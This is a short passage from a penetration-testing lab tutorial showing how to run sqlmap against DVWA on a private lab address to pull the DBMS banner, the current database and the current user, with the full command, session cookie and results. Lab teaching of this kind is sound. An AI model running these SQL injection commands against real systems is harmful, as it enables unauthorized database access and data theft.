
Welcome back Cybrarians!Section 10: Using SqlMap to Obtain Current User and Database
- Verify sqlmap.py exists
- Instructions:
- cd /pentest/database/sqlmap
- ls -l sqlmap.py

- Obtain Database User For DVWA
- Notes(FYI):
- Obtain the referer link from (Section 9, Step10), which is placed after the “-u” flag below.
- Obtain the cookie line from (Section 9, Step 10),which is placed after the “–cookie” flag below.
- Replace 192.168.1.106 with Fedora’s IP addressobtained in (Section 3, Step 3).
- Replace (lpb5g4uss9kp70p8jccjeks621) with yourPHPSESSID obtained from (Section 9, Step 10).
- Instructions:
- ./sqlmap.py -u“http://192.168.1.106/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” —
- cookie=”PHPSESSID=lpb5g4uss9kp70p8jccjeks621;security=low” -b –current-db –current-user§ -u, Target URL§ –cookie, HTTP Cookie header§ -b, Retrieve DBMS banner§ –current-db, Retrieve DBMS current database§ –current-user, Retrieve DBMS current user

- Do you want to keep testing?
- Instructions:
- keep testing? y
- skip payloads? y

- Viewing Results
- Instructions:
- For the web application DVWA, the database nameis “dvwa” and the programs that communicate withthe database is “root@localhost”;

….Ok, we’ll continue this in next part. Check out our social network site for hackers here >hcnepal.com